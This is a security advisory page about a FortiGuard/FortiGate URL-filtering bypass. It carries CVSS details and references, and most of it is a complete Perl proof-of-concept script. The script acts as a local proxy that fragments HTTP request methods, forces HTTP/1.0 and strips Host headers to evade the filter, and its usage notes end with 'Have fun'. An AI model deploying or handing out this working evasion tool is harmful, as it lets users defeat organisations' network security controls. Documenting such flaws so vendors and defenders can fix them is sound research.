FortiGuard: URL Filtering Application Bypass Vulnerability

2009-09-06 / 2009-09-07
Credit: Danux
Risk: High
Local: No
Remote: Yes
CWE: CWE-264


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

I dont know if its new but i code it during a PentTest and i would like to share it with you. It is based on code developed By sinhack research labs: http://sinhack.net/URLFilteringEvasion/sakeru.tx Description: "Fortinet's URL blocking functionality can be bypassed by specially-crafted HTTP requests that fulfill 3 factors: 1.- HTTP Requests are terminated by the CRLF characters. 2.- Forcing to talk via HTTP/1.0 version so that dont send the host header. 3.- Finally, by Fragmenting the GET or POST requests Analysis: Fortinet's past vulnerability (http://www.fortiguardcenter.com/advisory/FGA-2006-10.html) said: Moreover, while it is possible "to bypass the functionality via an HTTP/1.0 request with no host header", the use of a host field is actually required to access a specific site on multi-homed web sites. When no host header is used, the intended web site is actually not displayed. Therefore, there is no risk. Macula's Analysis: If you dont have properly installed some AV, HIPS, etc, through this vuln, a workstation can connect to a malicious "Hacking Site" and get infected. Also through this vuln, you can connect to different porn sites without problems. And no matter if its or not multi-homed web sites. So we consider its not a low risk. Products affected: We only tested it on: fortiGate-1000 3.00, build 040075,070111 Solution: We tried to contact the vendor, but without any response. PoC: #!/usr/bin/perl ######################################## # fortiGuard.pl v0.1 - http://www.macula-group.com/ # # # URL Filtering Bypass proof of concept # Author: Daniel Regalado aka Danux... Hacker WannaBe!!! (only some minnor modifications from sinhack code) # Based on PoC from sinhack research labs -> sakeru.pl # #FortiGuard's URL blocking functionality can be bypassed by specially-crafted HTTP requests that are terminated by the CRLF character #instead of the LF characters and changing version of HTTP to 1.0 without sending Host: Header and Fragmenting the GET and POST Requests # #Tested On: fortiGate-1000 3.00, build 040075,070111 # #This code has been released Only for educational purposes. The author cannot be held responsible for any bad use. # Usage: # 1) perl fortiGuard.pl # 2) Configure your browser's proxy at localhost:5050 # 3) Have fun. # --- Start Of Script--- use strict; use URI; use IO::Socket; my $showOpenedSockets=1; #Activate the console logging my $debugging=0; my $server = IO::Socket::INET->new ( #Proxy Configuration LocalPort => 5050, #Change the listening port here Type => SOCK_STREAM, Reuse => 1, Listen => 10); binmode $server; print "Waiting for connections on port 5050 TCP...\n"; while (my $browser = $server->accept()) { #When a connection occure... binmode $browser; my $method=""; my $content_length = 0; my $content = 0; my $accu_content_length = 0; my $host; my $hostAddr; my $httpVer; my $line; while (my $browser_line = <$browser>) { #Get the Browser commands unless ($method) { ($method, $hostAddr, $httpVer) = $browser_line =~ /^(\w+) +(\S+) +(\S+)/; my $uri = URI->new($hostAddr); $host = IO::Socket::INET->new ( #Opening the connexion to the remote host PeerAddr=> $uri->host, PeerPort=> $uri->port ) or die "couldn't open $hostAddr"; if ($showOpenedSockets) { #Connection logs #print "Source:".$browser->peerhost."\n"; my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time); $year += 1900; $mon += 1; printf ("\n%04d-%02d-%02d %02d:%02d:%02d ",$year,$mon,$mday,$hour,$min,$sec); print $browser->peerhost." -> ".$uri->host.":".$uri->port." $method ".$uri->path_query."\n";; } binmode $host; my $char; if ($method == "GET") { #Fragmention the "GET" query foreach $char ('G','E','T',' ') { #I know, there is better way to do it, print $host $char; #but I'm tired and lazy... } } elsif ($method == "POST") { #Fragmentation of "POST" query foreach $char ('P','O','S','T',' ') { print $host $char; } } else { print $host "$method "; #For all the other methods, send them without modif print "*"; } $httpVer="HTTP/1.0"; #Forzando a version 1.0 print $host $uri->path_query . " $httpVer\r\n"; #Send the rest of the query (url and http version) #next; } $content_length = $1 if $browser_line=~/Content-length: +(\d+)/i; $accu_content_length+=length $browser_line; foreach $line (split('\n', $browser_line)) { #Fragment the Host query if ($line =~ /^Host:/ ) { #my $char=""; #my $word=""; #my $bogus=""; #($bogus,$word) = split(' ', $line); #foreach $char ('H','o','s','t',':',' ') { #print $host $char; #} #print $host $word."\r\n"; } else { print $host "$line\r\n"; #For all the other lines, send them without modif } if ( $debugging == 1 && $method == "POST" ) { print "$line\n"; } } #Danux Clave para terminar el Request y enviarlo al servidor web, de otra forma se queda esperando este ultimo la peticion print $host "\r\n"; last if $browser_line =~ /^\s*$/ and $method ne 'POST'; if ($browser_line =~ /^\s*$/ and $method eq "POST") { $content = 1; last unless $content_length; next; } #print length $browser_line . " - "; if ($content) { $accu_content_length+=length $browser_line; last if $accu_content_length >= $content_length; } } $content_length = 0; $content = 0; $accu_content_length = 0; my $crcount=0; my $totalcounter=0; my $packetcount=0; while ( my $host_line = <$host> ) { #Reception of the result from the server $totalcounter+=length $host_line; print $browser $host_line; #Send them back to the browser #print $host_line if ( ! $content ); #Send them back to the browser if ($host_line=~/Content-length: +(\d+)/i) { $content_length = $1; #print " * Expecting $content_length\n"; #if ($debugging); } if ($host_line =~ m/^\s*$/ and not $content) { $content = 1; #print " * Beginning of the data section\n"; } if ($content) { #$accu_content_length+=length $host_line; if ($content_length) { #print " * binary data section\n"; my $buffer; my $buffersize = 512; if ($content_length < $buffersize) { $buffersize = $content_length; } while ( my $nbread = read($host, $buffer, $buffersize)) { print "#"; $packetcount++; $accu_content_length+=$nbread; #last if $accu_content_length >= $content_length; print $browser $buffer; #Send them back to the browser #print $buffer; #print "\n(#$packetcount) "; #print "total: $totalcounter content_length: $content_length acc: $accu_content_length\t"; my $tmp1 = $content_length - $accu_content_length; #print "length-accu= $tmp1\n"; if ($tmp1 < $buffersize) { $buffersize = $tmp1; #print "new buffersize = $buffersize\n"; } } #print "Out of the content while\n"; } } #print "(#$packetcount) "; #print "total: $totalcounter content_length: $content_length acc: $accu_content_length\t"; #my $tmp1 = $content_length - $accu_content_length; #print "length-accu= $tmp1\n"; last if ($accu_content_length >= $content_length and $content == 1 and $content_length); } #print "\nOut for a while\n"; if ($browser) { $browser -> close; } #Closing connection to the browser if ($host) { $host -> close; } #Closion connection to the server } # --- EOF --- -- Danux, CISSP, OSCP Offensive Security Consultant Macula Security Consulting Group www.macula-group.com

References:

http://xforce.iss.net/xforce/xfdb/39684
http://www.securityfocus.com/bid/27276
http://www.securityfocus.com/archive/1/archive/1/485813/100/200/threaded
http://www.securityfocus.com/archive/1/archive/1/485794/100/200/threaded


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top